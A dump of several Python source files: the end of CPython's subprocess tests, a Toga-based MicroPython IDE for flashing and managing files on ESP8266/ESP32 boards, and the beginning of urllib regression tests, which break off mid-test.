fd_status)], stdout=subprocess.PIPE) output, unused_stderr = p.communicate() output_lines = output.splitlines() self.assertEqual(len(output_lines), 2, msg="expected exactly two lines of output:\n%r" % output) opened_fds = set(map(int, output_lines[0].strip().split(b','))) remaining_fds = set(map(int, output_lines[1].strip().split(b','))) self.assertFalse(remaining_fds & opened_fds, msg="Some fds were left open.") # Mac OS X Tiger (10.4) has a kernel bug: sometimes, the file # descriptor of a pipe closed in the parent process is valid in the # child process according to fstat(), but the mode of the file # descriptor is invalid, and read or write raise an error. @support.requires_mac_ver(10, 5) def test_pass_fds(self): fd_status = support.findfile("fd_status.py", subdir="subprocessdata") open_fds = set() for x in range(5): fds = os.pipe() self.addCleanup(os.close, fds[0]) self.addCleanup(os.close, fds[1]) os.set_inheritable(fds[0], True) os.set_inheritable(fds[1], True) open_fds.update(fds) for fd in open_fds: p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=True, pass_fds=(fd, )) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) to_be_closed = open_fds - {fd} self.assertIn(fd, remaining_fds, "fd to be passed not passed") self.assertFalse(remaining_fds & to_be_closed, "fd to be closed passed") # pass_fds overrides close_fds with a warning. with self.assertWarns(RuntimeWarning) as context: self.assertFalse(subprocess.call( [sys.executable, "-c", "import sys; sys.exit(0)"], close_fds=False, pass_fds=(fd, ))) self.assertIn('overriding close_fds', str(context.warning)) def test_pass_fds_inheritable(self): script = support.findfile("fd_status.py", subdir="subprocessdata") inheritable, non_inheritable = os.pipe() self.addCleanup(os.close, inheritable) self.addCleanup(os.close, non_inheritable) os.set_inheritable(inheritable, True) os.set_inheritable(non_inheritable, False) pass_fds = (inheritable, non_inheritable) args = [sys.executable, script] args += list(map(str, pass_fds)) p = subprocess.Popen(args, stdout=subprocess.PIPE, close_fds=True, pass_fds=pass_fds) output, ignored = p.communicate() fds = set(map(int, output.split(b','))) # the inheritable file descriptor must be inherited, so its inheritable # flag must be set in the child process after fork() and before exec() self.assertEqual(fds, set(pass_fds), "output=%a" % output) # inheritable flag must not be changed in the parent process self.assertEqual(os.get_inheritable(inheritable), True) self.assertEqual(os.get_inheritable(non_inheritable), False) def test_stdout_stdin_are_single_inout_fd(self): with io.open(os.devnull, "r+") as inout: p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stdout=inout, stdin=inout) p.wait() def test_stdout_stderr_are_single_inout_fd(self): with io.open(os.devnull, "r+") as inout: p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stdout=inout, stderr=inout) p.wait() def test_stderr_stdin_are_single_inout_fd(self): with io.open(os.devnull, "r+") as inout: p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stderr=inout, stdin=inout) p.wait() def test_wait_when_sigchild_ignored(self): # NOTE: sigchild_ignore.py may not be an effective test on all OSes. sigchild_ignore = support.findfile("sigchild_ignore.py", subdir="subprocessdata") p = subprocess.Popen([sys.executable, sigchild_ignore], stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate() self.assertEqual(0, p.returncode, "sigchild_ignore.py exited" " non-zero with this error:\n%s" % stderr.decode('utf-8')) def test_select_unbuffered(self): # Issue #11459: bufsize=0 should really set the pipes as # unbuffered (and therefore let select() work properly). select = support.import_module("select") p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdout.write("apple")'], stdout=subprocess.PIPE, bufsize=0) f = p.stdout self.addCleanup(f.close) try: self.assertEqual(f.read(4), b"appl") self.assertIn(f, select.select([f], [], [], 0.0)[0]) finally: p.wait() def test_zombie_fast_process_del(self): # Issue #12650: on Unix, if Popen.__del__() was called before the # process exited, it wouldn't be added to subprocess._active, and would # remain a zombie. # spawn a Popen, and delete its reference before it exits p = subprocess.Popen([sys.executable, "-c", 'import sys, time;' 'time.sleep(0.2)'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) ident = id(p) pid = p.pid with support.check_warnings(('', ResourceWarning)): p = None # check that p is in the active processes list self.assertIn(ident, [id(o) for o in subprocess._active]) def test_leak_fast_process_del_killed(self): # Issue #12650: on Unix, if Popen.__del__() was called before the # process exited, and the process got killed by a signal, it would never # be removed from subprocess._active, which triggered a FD and memory # leak. # spawn a Popen, delete its reference and kill it p = subprocess.Popen([sys.executable, "-c", 'import time;' 'time.sleep(3)'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) ident = id(p) pid = p.pid with support.check_warnings(('', ResourceWarning)): p = None os.kill(pid, signal.SIGKILL) # check that p is in the active processes list self.assertIn(ident, [id(o) for o in subprocess._active]) # let some time for the process to exit, and create a new Popen: this # should trigger the wait() of p time.sleep(0.2) with self.assertRaises(OSError) as c: with subprocess.Popen(['nonexisting_i_hope'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc: pass # p should have been wait()ed on, and removed from the _active list self.assertRaises(OSError, os.waitpid, pid, 0) self.assertNotIn(ident, [id(o) for o in subprocess._active]) def test_close_fds_after_preexec(self): fd_status = support.findfile("fd_status.py", subdir="subprocessdata") # this FD is used as dup2() target by preexec_fn, and should be closed # in the child process fd = os.dup(1) self.addCleanup(os.close, fd) p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=True, preexec_fn=lambda: os.dup2(1, fd)) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) self.assertNotIn(fd, remaining_fds) @support.cpython_only def test_fork_exec(self): # Issue #22290: fork_exec() must not crash on memory allocation failure # or other errors import _posixsubprocess gc_enabled = gc.isenabled() try: # Use a preexec function and enable the garbage collector # to force fork_exec() to re-enable the garbage collector # on error. func = lambda: None gc.enable() for args, exe_list, cwd, env_list in ( (123, [b"exe"], None, [b"env"]), ([b"arg"], 123, None, [b"env"]), ([b"arg"], [b"exe"], 123, [b"env"]), ([b"arg"], [b"exe"], None, 123), ): with self.assertRaises(TypeError): _posixsubprocess.fork_exec( args, exe_list, True, [], cwd, env_list, -1, -1, -1, -1, 1, 2, 3, 4, True, True, func) finally: if not gc_enabled: gc.disable() @support.cpython_only def test_fork_exec_sorted_fd_sanity_check(self): # Issue #23564: sanity check the fork_exec() fds_to_keep sanity check. import _posixsubprocess gc_enabled = gc.isenabled() try: gc.enable() for fds_to_keep in ( (-1, 2, 3, 4, 5), # Negative number. ('str', 4), # Not an int. (18, 23, 42, 2**63), # Out of range. (5, 4), # Not sorted. (6, 7, 7, 8), # Duplicate. ): with self.assertRaises( ValueError, msg='fds_to_keep={}'.format(fds_to_keep)) as c: _posixsubprocess.fork_exec( [b"false"], [b"false"], True, fds_to_keep, None, [b"env"], -1, -1, -1, -1, 1, 2, 3, 4, True, True, None) self.assertIn('fds_to_keep', str(c.exception)) finally: if not gc_enabled: gc.disable() def test_communicate_BrokenPipeError_stdin_close(self): # By not setting stdout or stderr or a timeout we force the fast path # that just calls _stdin_write() internally due to our mock. proc = subprocess.Popen([sys.executable, '-c', 'pass']) with proc, mock.patch.object(proc, 'stdin') as mock_proc_stdin: mock_proc_stdin.close.side_effect = BrokenPipeError proc.communicate() # Should swallow BrokenPipeError from close. mock_proc_stdin.close.assert_called_with() def test_communicate_BrokenPipeError_stdin_write(self): # By not setting stdout or stderr or a timeout we force the fast path # that just calls _stdin_write() internally due to our mock. proc = subprocess.Popen([sys.executable, '-c', 'pass']) with proc, mock.patch.object(proc, 'stdin') as mock_proc_stdin: mock_proc_stdin.write.side_effect = BrokenPipeError proc.communicate(b'stuff') # Should swallow the BrokenPipeError. mock_proc_stdin.write.assert_called_once_with(b'stuff') mock_proc_stdin.close.assert_called_once_with() def test_communicate_BrokenPipeError_stdin_flush(self): # Setting stdin and stdout forces the ._communicate() code path. # python -h exits faster than python -c pass (but spams stdout). proc = subprocess.Popen([sys.executable, '-h'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) with proc, mock.patch.object(proc, 'stdin') as mock_proc_stdin, \ open(os.devnull, 'wb') as dev_null: mock_proc_stdin.flush.side_effect = BrokenPipeError # because _communicate registers a selector using proc.stdin... mock_proc_stdin.fileno.return_value = dev_null.fileno() # _communicate() should swallow BrokenPipeError from flush. proc.communicate(b'stuff') mock_proc_stdin.flush.assert_called_once_with() def test_communicate_BrokenPipeError_stdin_close_with_timeout(self): # Setting stdin and stdout forces the ._communicate() code path. # python -h exits faster than python -c pass (but spams stdout). proc = subprocess.Popen([sys.executable, '-h'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) with proc, mock.patch.object(proc, 'stdin') as mock_proc_stdin: mock_proc_stdin.close.side_effect = BrokenPipeError # _communicate() should swallow BrokenPipeError from close. proc.communicate(timeout=999) mock_proc_stdin.close.assert_called_once_with() @unittest.skipUnless(mswindows, "Windows specific tests") class Win32ProcessTestCase(BaseTestCase): def test_startupinfo(self): # startupinfo argument # We uses hardcoded constants, because we do not want to # depend on win32all. STARTF_USESHOWWINDOW = 1 SW_MAXIMIZE = 3 startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_MAXIMIZE # Since Python is a console process, it won't be affected # by wShowWindow, but the argument should be silently # ignored subprocess.call([sys.executable, "-c", "import sys; sys.exit(0)"], startupinfo=startupinfo) def test_creationflags(self): # creationflags argument CREATE_NEW_CONSOLE = 16 sys.stderr.write(" a DOS box should flash briefly ...\n") subprocess.call(sys.executable + ' -c "import time; time.sleep(0.25)"', creationflags=CREATE_NEW_CONSOLE) def test_invalid_args(self): # invalid arguments should raise ValueError self.assertRaises(ValueError, subprocess.call, [sys.executable, "-c", "import sys; sys.exit(47)"], preexec_fn=lambda: 1) self.assertRaises(ValueError, subprocess.call, [sys.executable, "-c", "import sys; sys.exit(47)"], stdout=subprocess.PIPE, close_fds=True) def test_close_fds(self): # close file descriptors rc = subprocess.call([sys.executable, "-c", "import sys; sys.exit(47)"], close_fds=True) self.assertEqual(rc, 47) def test_shell_sequence(self): # Run command through the shell (sequence) newenv = os.environ.copy() newenv["FRUIT"] = "physalis" p = subprocess.Popen(["set"], shell=1, stdout=subprocess.PIPE, env=newenv) with p: self.assertIn(b"physalis", p.stdout.read()) def test_shell_string(self): # Run command through the shell (string) newenv = os.environ.copy() newenv["FRUIT"] = "physalis" p = subprocess.Popen("set", shell=1, stdout=subprocess.PIPE, env=newenv) with p: self.assertIn(b"physalis", p.stdout.read()) def test_shell_encodings(self): # Run command through the shell (string) for enc in ['ansi', 'oem']: newenv = os.environ.copy() newenv["FRUIT"] = "physalis" p = subprocess.Popen("set", shell=1, stdout=subprocess.PIPE, env=newenv, encoding=enc) with p: self.assertIn("physalis", p.stdout.read(), enc) def test_call_string(self): # call() function with string argument on Windows rc = subprocess.call(sys.executable + ' -c "import sys; sys.exit(47)"') self.assertEqual(rc, 47) def _kill_process(self, method, *args): # Some win32 buildbot raises EOFError if stdin is inherited p = subprocess.Popen([sys.executable, "-c", """if 1: import sys, time sys.stdout.write('x\\n') sys.stdout.flush() time.sleep(30) """], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) with p: # Wait for the interpreter to be completely initialized before # sending any signal. p.stdout.read(1) getattr(p, method)(*args) _, stderr = p.communicate() self.assertStderrEqual(stderr, b'') returncode = p.wait() self.assertNotEqual(returncode, 0) def _kill_dead_process(self, method, *args): p = subprocess.Popen([sys.executable, "-c", """if 1: import sys, time sys.stdout.write('x\\n') sys.stdout.flush() sys.exit(42) """], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) with p: # Wait for the interpreter to be completely initialized before # sending any signal. p.stdout.read(1) # The process should end after this time.sleep(1) # This shouldn't raise even though the child is now dead getattr(p, method)(*args) _, stderr = p.communicate() self.assertStderrEqual(stderr, b'') rc = p.wait() self.assertEqual(rc, 42) def test_send_signal(self): self._kill_process('send_signal', signal.SIGTERM) def test_kill(self): self._kill_process('kill') def test_terminate(self): self._kill_process('terminate') def test_send_signal_dead(self): self._kill_dead_process('send_signal', signal.SIGTERM) def test_kill_dead(self): self._kill_dead_process('kill') def test_terminate_dead(self): self._kill_dead_process('terminate') class MiscTests(unittest.TestCase): def test_getoutput(self): self.assertEqual(subprocess.getoutput('echo xyzzy'), 'xyzzy') self.assertEqual(subprocess.getstatusoutput('echo xyzzy'), (0, 'xyzzy')) # we use mkdtemp in the next line to create an empty directory # under our exclusive control; from that, we can invent a pathname # that we _know_ won't exist. This is guaranteed to fail. dir = None try: dir = tempfile.mkdtemp() name = os.path.join(dir, "foo") status, output = subprocess.getstatusoutput( ("type " if mswindows else "cat ") + name) self.assertNotEqual(status, 0) finally: if dir is not None: os.rmdir(dir) def test__all__(self): """Ensure that __all__ is populated properly.""" intentionally_excluded = {"list2cmdline", "Handle"} exported = set(subprocess.__all__) possible_exports = set() import types for name, value in subprocess.__dict__.items(): if name.startswith('_'): continue if isinstance(value, (types.ModuleType,)): continue possible_exports.add(name) self.assertEqual(exported, possible_exports - intentionally_excluded) @unittest.skipUnless(hasattr(selectors, 'PollSelector'), "Test needs selectors.PollSelector") class ProcessTestCaseNoPoll(ProcessTestCase): def setUp(self): self.orig_selector = subprocess._PopenSelector subprocess._PopenSelector = selectors.SelectSelector ProcessTestCase.setUp(self) def tearDown(self): subprocess._PopenSelector = self.orig_selector ProcessTestCase.tearDown(self) @unittest.skipUnless(mswindows, "Windows-specific tests") class CommandsWithSpaces (BaseTestCase): def setUp(self): super().setUp() f, fname = tempfile.mkstemp(".py", "te st") self.fname = fname.lower () os.write(f, b"import sys;" b"sys.stdout.write('%d %s' % (len(sys.argv), [a.lower () for a in sys.argv]))" ) os.close(f) def tearDown(self): os.remove(self.fname) super().tearDown() def with_spaces(self, *args, **kwargs): kwargs['stdout'] = subprocess.PIPE p = subprocess.Popen(*args, **kwargs) with p: self.assertEqual( p.stdout.read ().decode("mbcs"), "2 [%r, 'ab cd']" % self.fname ) def test_shell_string_with_spaces(self): # call() function with string argument with spaces on Windows self.with_spaces('"%s" "%s" "%s"' % (sys.executable, self.fname, "ab cd"), shell=1) def test_shell_sequence_with_spaces(self): # call() function with sequence argument with spaces on Windows self.with_spaces([sys.executable, self.fname, "ab cd"], shell=1) def test_noshell_string_with_spaces(self): # call() function with string argument with spaces on Windows self.with_spaces('"%s" "%s" "%s"' % (sys.executable, self.fname, "ab cd")) def test_noshell_sequence_with_spaces(self): # call() function with sequence argument with spaces on Windows self.with_spaces([sys.executable, self.fname, "ab cd"]) class ContextManagerTests(BaseTestCase): def test_pipe(self): with subprocess.Popen([sys.executable, "-c", "import sys;" "sys.stdout.write('stdout');" "sys.stderr.write('stderr');"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc: self.assertEqual(proc.stdout.read(), b"stdout") self.assertStderrEqual(proc.stderr.read(), b"stderr") self.assertTrue(proc.stdout.closed) self.assertTrue(proc.stderr.closed) def test_returncode(self): with subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(100)"]) as proc: pass # __exit__ calls wait(), so the returncode should be set self.assertEqual(proc.returncode, 100) def test_communicate_stdin(self): with subprocess.Popen([sys.executable, "-c", "import sys;" "sys.exit(sys.stdin.read() == 'context')"], stdin=subprocess.PIPE) as proc: proc.communicate(b"context") self.assertEqual(proc.returncode, 1) def test_invalid_args(self): with self.assertRaises(FileNotFoundError) as c: with subprocess.Popen(['nonexisting_i_hope'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc: pass def test_broken_pipe_cleanup(self): """Broken pipe error should not prevent wait() (Issue 21619)""" proc = subprocess.Popen([sys.executable, '-c', 'pass'], stdin=subprocess.PIPE, bufsize=support.PIPE_MAX_SIZE*2) proc = proc.__enter__() # Prepare to send enough data to overflow any OS pipe buffering and # guarantee a broken pipe error. Data is held in BufferedWriter # buffer until closed. proc.stdin.write(b'x' * support.PIPE_MAX_SIZE) self.assertIsNone(proc.returncode) # EPIPE expected under POSIX; EINVAL under Windows self.assertRaises(OSError, proc.__exit__, None, None, None) self.assertEqual(proc.returncode, 0) self.assertTrue(proc.stdin.closed) def test_main(): unit_tests = (ProcessTestCase, POSIXProcessTestCase, Win32ProcessTestCase, MiscTests, ProcessTestCaseNoPoll, CommandsWithSpaces, ContextManagerTests, RunFuncTestCase, ) support.run_unittest(*unit_tests) support.reap_children() if __name__ == "__main__": unittest.main()
app.py
import toga from toga.style import Pack from toga.constants import COLUMN, ROW import os import sys import glob import serial import time import uPy_IDE.esptool as esptool def serial_ports(): if sys.platform.startswith('win'): ports = ['COM%s' % (i + 1) for i in range(256)] elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'): ports = glob.glob('/dev/tty[A-Za-z]*') elif sys.platform.startswith('darwin'): ports = glob.glob('/dev/tty.*') else: raise EnvironmentError('Unsupported platform') result = [] for port in ports: try: s = serial.Serial(port) s.close() result.append(port) except (OSError, serial.SerialException): pass return result class uPyIDE(toga.App): def startup(self): self.main_window=toga.MainWindow(title=self.name,size=(640,400)) label_style=Pack(flex=1,padding_right=24) box_style_horiz=Pack(direction=ROW,padding=15) box_style_verti=Pack(direction=COLUMN,padding=15) #selections self.portselect=toga.Selection(items=serial_ports()) self.chipselect=toga.Selection(items=["ESP8266","ESP32"], on_select=self.update_selections) self.verselect=toga.Selection(items=["v1.8.7","v1.9.0","v1.9.1","v1.9.2","v1.9.3","v1.9.4","v1.10.0"]) #puerto self.port = None self.port_open=False #switchs self.switchdio=toga.Switch('DIO', is_on=False, style=Pack(padding_left=10,padding_top=5)) #textinputs self.textfile=toga.TextInput(style=Pack(flex=1,width=200)) self.commandesp=toga.TextInput(style=Pack(flex=1,width=450)) #intento de terminal self.textterminal=toga.MultilineTextInput(readonly=False,style=Pack(flex=1,width=600,height=600)) #textoutputs self.textoutputs=toga.MultilineTextInput(readonly=True,style=Pack(flex=1,width=200,height=200)) #botones self.btnport=toga.Button("Abrir puerto", on_press=self.open_port, style=Pack(padding=2)) self.filelabel=toga.Label("No ha seleccionado ningun archivo", style=Pack(padding=2)) self.fname=None self.main_window.content=toga.Box( children=[ toga.Box(style=box_style_verti, children=[ toga.Box(style=Pack(direction=ROW,padding_left=25), children=[ self.portselect, self.chipselect, self.verselect, self.switchdio ]), toga.Box(style=Pack(direction=COLUMN,padding_top=7), children=[ toga.Button("Ver archivos en ESP", on_press=self.read_files, style=Pack(padding_top=15,padding_left=2)), toga.Button("Seleccionar archivo", on_press=self.action_open_file_dialog, style=Pack(padding=2)), self.filelabel, toga.Button("Ejecutar archivo en ESP", on_press=self.run_in_esp, style=Pack(padding=2)), toga.Button("Grabar archivo en ESP", on_press=self.save_to_esp, style=Pack(padding=2)), self.textfile, toga.Button("Borrar archivo de ESP", on_press=self.erase_from_esp, style=Pack(padding=2)), toga.Button("Obtener archivo de ESP", on_press=self.get_file_esp, style=Pack(padding=2)), self.textoutputs ]) ]), toga.Box(style=box_style_verti, children=[ toga.Button("Flashear",on_press=self.flash), toga.Button("Borrar flash/firmware",on_press=self.eraseflash), toga.Button("Actualizar puertos",on_press=self.update_ports), self.btnport, self.textterminal, toga.Box(style=Pack(direction=ROW,padding_top=7), children=[ self.commandesp, toga.Button("Enviar comando", on_press=self.send_command, style=Pack(padding=2)) ]) ]) ]) self.main_window.show() #metodos para la parte de ampy def read_files(self,button): from uPy_IDE.pyboard import Pyboard from uPy_IDE import cli from uPy_IDE import files eboard=files.Files(Pyboard(self.portselect.value)) filesesp=eboard.ls() print(filesesp) lstext="" for f in filesesp: lstext=lstext+f+"\n" self.textoutputs.clear self.textoutputs.value=lstext def action_open_file_dialog(self, widget): try: self.fname = self.main_window.open_file_dialog( title="Open file with Toga", ) print(self.fname) except ValueError: print("ha ocurrido un error") self.filelabel.text="Archivo seleccionado: "+self.fname.split("/")[-1] def run_in_esp_thread(self, archiv, disp, terp): import uPy_IDE.pyboard as pyboard self.textterminal.clear() pyboard.execfile(archiv, device=disp,terminal=terp) def run_in_esp(self,button): import threading runespthread = threading.Thread(target=self.run_in_esp_thread, args=(self.fname, self.portselect.value, self.textterminal)) runespthread.start() def save_to_esp(self, button): from uPy_IDE.pyboard import Pyboard from uPy_IDE import cli eboard=Pyboard(self.portselect.value) cli.put(self.fname,board=eboard) def erase_from_esp(self,button): from uPy_IDE.pyboard import Pyboard import uPy_IDE.files as files eboard=files.Files(Pyboard(self.portselect.value)) eboard.rm(self.textfile.value) def get_file_esp(self,button): from uPy_IDE.pyboard import Pyboard import uPy_IDE.files as files eboard=files.Files(Pyboard(self.portselect.value)) fdata=eboard.get(self.textfile.value) self.textterminal.clear() self.textterminal.value=fdata #======================================SOLO MANEJO DE PUERTO======================================================== def open_port(self,button): from uPy_IDE.pyboard import Pyboard if not self.port_open: self.btnport.label="Cerrar puerto" self.port_open=True self.textterminal.clear() self.port=Pyboard(self.portselect.value) self.port.enter_raw_repl() read_port(self.port, self.port_open) else: self.btnport.label="Abrir puerto" self.port_open=False self.port.exit_raw_repl() def send_command(self,button): if self.port_open: print(self.commandesp.value) self.port.send(self.commandesp.value) #=================================================================================================================== #metodos para la parte de esptool def flash(self,button): port=self.portselect.value chip=self.chipselect.value ver=self.verselect.value if chip == "ESP32": esptool.main(["--chip","esp32","--port",self.portselect.value,"write_flash","-z","0x1000","esp32/"+ver+'.bin']) elif chip == "ESP8266": if self.switchdio.is_on: esptool.main(["--port",self.portselect.value,"--baud","460800","write_flash","--flash_size=detect","0","uPy_IDE/esp8266/"+ver+'.bin']) else: esptool.main(["--port",self.portselect.value,"--baud","460800","write_flash","--flash_size=detect","-fm","dio","0","uPy_IDE/esp8266/"+ver+'.bin']) def update_ports(self, button): portlist = serial_ports() if not portlist: pass else: self.portselect.items = portlist def update_selections(self,button): micro=self.chipselect.value if micro == "ESP32": versionlist=["v1.9.4","v1.10"] elif micro=="ESP8266": versionlist=["v1.8.7","v1.9.0","v1.9.1","v1.9.2","v1.9.3","v1.9.4","v1.10.0"] else: pass self.verselect.items = versionlist def eraseflash(self,button): port=self.portselect.value chip=self.chipselect.value if chip=='ESP32': esptool.main(["-p",self.portselect.value,"erase_flash"]) elif chip=='ESP8266': esptool.main(["-p",self.portselect.value,"erase_flash"]) def read_port_thread(port,port_status): while True: if port_status: ans=port.read_until(1, b'\x04', timeout=10, data_consumer=None) print(ans) def read_port(port, portstatus): import threading runportthread = threading.Thread(target=read_port_thread, args=(port, portstatus)) runportthread.start() def main(): return uPyIDE("uPyIDE","org.funpython.upyide")
test_urllib.py
"""Regresssion tests for urllib""" import urllib import httplib import unittest from test import test_support import os import mimetools import tempfile import StringIO def hexescape(char): """Escape char as RFC 2396 specifies""" hex_repr = hex(ord(char))[2:].upper() if len(hex_repr) == 1: hex_repr = "0%s" % hex_repr return "%" + hex_repr class urlopen_FileTests(unittest.TestCase): """Test urlopen() opening a temporary file. Try to test as much functionality as possible so as to cut down on reliance on connecting to the Net for testing. """ def setUp(self): """Setup of a temp file to use for testing""" self.text = "test_urllib: %s\n" % self.__class__.__name__ FILE = file(test_support.TESTFN, 'wb') try: FILE.write(self.text) finally: FILE.close() self.pathname = test_support.TESTFN self.returned_obj = urllib.urlopen("file:%s" % self.pathname) def tearDown(self): """Shut down the open object""" self.returned_obj.close() os.remove(test_support.TESTFN) def test_interface(self): # Make sure object returned by urlopen() has the specified methods for attr in ("read", "readline", "readlines", "fileno", "close", "info", "geturl", "getcode", "__iter__"): self.assertTrue(hasattr(self.returned_obj, attr), "object returned by urlopen() lacks %s attribute" % attr) def test_read(self): self.assertEqual(self.text, self.returned_obj.read()) def test_readline(self): self.assertEqual(self.text, self.returned_obj.readline()) self.assertEqual('', self.returned_obj.readline(), "calling readline() after exhausting the file did not" " return an empty string") def test_readlines(self): lines_list = self.returned_obj.readlines() self.assertEqual(len(lines_list), 1, "readlines() returned the wrong number of lines") self.assertEqual(lines_list[0], self.text, "readlines() returned improper text") def test_fileno(self): file_num = self.returned_obj.fileno() self.assertIsInstance(file_num, int, "fileno() did not return an int") self.assertEqual(os.read(file_num, len(self.text)), self.text, "Reading on the file descriptor returned by fileno() " "did not return the expected text") def test_close(self): # Test close() by calling it hear and then having it be called again # by the tearDown() method for the test self.returned_obj.close() def test_info(self): self.assertIsInstance(self.returned_obj.info(), mimetools.Message) def test_geturl(self): self.assertEqual(self.returned_obj.geturl(), self.pathname) def test_getcode(self): self.assertEqual(self.returned_obj.getcode(), None) def test_iter(self): # Test iterator # Don't need to count number of iterations since test would fail the # instant it returned anything beyond the first line from the # comparison for line in self.returned_obj.__iter__(): self.assertEqual(line, self.text) class ProxyTests(unittest.TestCase): def setUp(self): # Records changes to env vars self.env = test_support.EnvironmentVarGuard() # Delete all proxy related env vars for k in os.environ.keys(): if 'proxy' in k.lower(): self.env.unset(k) def tearDown(self): # Restore all proxy related env vars self.env.__exit__() del self.env def test_getproxies_environment_keep_no_proxies(self): self.env.set('NO_PROXY', 'localhost') proxies = urllib.getproxies_environment() # getproxies_environment use lowered case truncated (no '_proxy') keys self.assertEqual('localhost', proxies['no']) class urlopen_HttpTests(unittest.TestCase): """Test urlopen() opening a fake http connection.""" def fakehttp(self, fakedata): class FakeSocket(StringIO.StringIO): def sendall(self, str): pass def makefile(self, mode, name): return self def read(self, amt=None): if self.closed: return '' return StringIO.StringIO.read(self, amt) def readline(self, length=None): if self.closed: return '' return StringIO.StringIO.readline(self, length) class FakeHTTPConnection(httplib.HTTPConnection): def connect(self): self.sock = FakeSocket(fakedata) assert httplib.HTTP._connection_class == httplib.HTTPConnection httplib.HTTP._connection_class = FakeHTTPConnection def unfakehttp(self): httplib.HTTP._connection_class = httplib.HTTPConnection def test_read(self): self.fakehttp('Hello!') try: fp = urllib.urlopen("http://python.org/") self.assertEqual(fp.readline(), 'Hello!') self.assertEqual(fp.readline(), '') self.assertEqual(fp.geturl(), 'http://python.org/') self.assertEqual(fp.getcode(), 200) finally: self.unfakehttp() def test_read_bogus(self): # urlopen() should raise IOError for many error codes. self.fakehttp('''HTTP/1.1 401 Authentication Required Date: Wed, 02 Jan 2008 03:03:54 GMT Server: Apache/1.3.33 (Debian GNU/Linux) mod_ssl/2.8.22 OpenSSL/0.9.7e Connection: close Content-Type: text/html; charset=iso-8859-1 ''') try: self.assertRaises(IOError, urllib.urlopen, "http://python.org/") finally: self.unfakehttp() def test_empty_socket(self): # urlopen() raises IOError if the underlying socket does not send any # data. (#1680230) self.fakehttp('') try: self.assertRaises(IOError, urllib.urlopen, 'http://something') finally: self.unfakehttp() class urlretrieve_FileTests(unittest.TestCase): """Test urllib.urlretrieve() on local files""" def setUp(self): # Create a list of temporary files. Each item in the list is a file # name (absolute path or relative to the current working directory). # All files in this list will be deleted in the tearDown method. Note, # this only helps to makes sure temporary files get deleted, but it # does nothing about trying to close files that may still be open. It # is the responsibility of the developer to properly close files even # when exceptional conditions occur. self.tempFiles = [] # Create a temporary file. self.registerFileForCleanUp(test_support.TESTFN) self.text = 'testing urllib.urlretrieve' try: FILE = file(test_support.TESTFN, 'wb') FILE.write(self.text) FILE.close() finally: try: FILE.close() except: pass def tearDown(self): # Delete the temporary files. for each in self.tempFiles: try: os.remove(each) except: pass def constructLocalFileUrl(self, filePath): return "file://%s" % urllib.pathname2url(os.path.abspath(filePath)) def createNewTempFile(self, data=""): """Creates a new temporary file containing the specified data, registers the file for deletion during the test fixture tear down, and returns the absolute path of the file.""" newFd, newFilePath = tempfile.mkstemp() try: self.registerFileForCleanUp(newFilePath) newFile = os.fdopen(newFd, "wb") newFile.write(data) newFile.close() finally: try: newFile.close() except: pass return newFilePath def registerFileForCleanUp(self, fileName): self.tempFiles.append(fileName) def test_basic(self): # Make sure that a local file just gets its own location returned and # a headers value is returned. result = urllib.urlretrieve("file:%s" % test_support.TESTFN) self.assertEqual(result[0], test_support.TESTFN) self.assertIsInstance(result[1], mimetools.Message, "did not get a mimetools.Message instance as " "second returned value") def test_copy(self): # Test that setting the filename argument works. second_temp = "%s.2" % test_support.TESTFN self.registerFileForCleanUp(second_temp) result = urllib.urlretrieve(self.constructLocalFileUrl( test_support.TESTFN), second_temp) self.assertEqual(second_temp, result[0]) self.assertTrue(os.path.exists(second_temp), "copy of the file was not " "made") FILE = file(second_temp, 'rb') try: text = FILE.read() FILE.close() finally: try: FILE.close() except: pass self.assertEqual(self.text, text) def test_reporthook(self): # Make sure that the reporthook works. def hooktester(count, block_size, total_size, count_holder=[0]): self.assertIsInstance(count, int) self.assertIsInstance(block_size, int) self.assertIsInstance(total_size, int) self.assertEqual(count, count_holder[0]) count_holder[0] = count_holder[0] + 1 second_temp = "%s.2" % test_support.TESTFN self.registerFileForCleanUp(second_temp) urllib.urlretrieve(self.constructLocalFileUrl(test_support.TESTFN), second_temp, hooktester) def test_reporthook_0_bytes(self): # Test on zero length file. Should call reporthook only 1 time. report = [] def hooktester(count, block_size, total_size, _report=report): _report.append((count, block_size, total_size)) srcFileName = self.createNewTempFile() urllib.urlretrieve(self.constructLocalFileUrl(srcFileName), test_support.TESTFN, hooktester) self.assertEqual(len(report), 1) self.assertEqual(report[0][2], 0) def test_reporthook_5_bytes(self): # Test on 5 byte file. Should call reporthook only 2 times (once when # the "network connection" is established and once when the block is # read). Since the block size is 8192 bytes, only one block read is # required to read the entire file. report = [] def hooktester(count, block_size, total_size, _report=report): _report.append((count, block_size, total_size)) srcFileName = self.createNewTempFile("x" * 5) urllib.urlretrieve(self.constructLocalFileUrl(srcFileName), test_support.TESTFN, hooktester) self.assertEqual(len(report), 2) self.assertEqual(report[0][1], 8192) self.assertEqual(report[0][2], 5) def test_reporthook_8193_bytes(self): # Test on 8193 byte file. Should call reporthook only 3 times (once # when the "network connection" is established, once for the next 8192 # bytes, and once for the last byte). 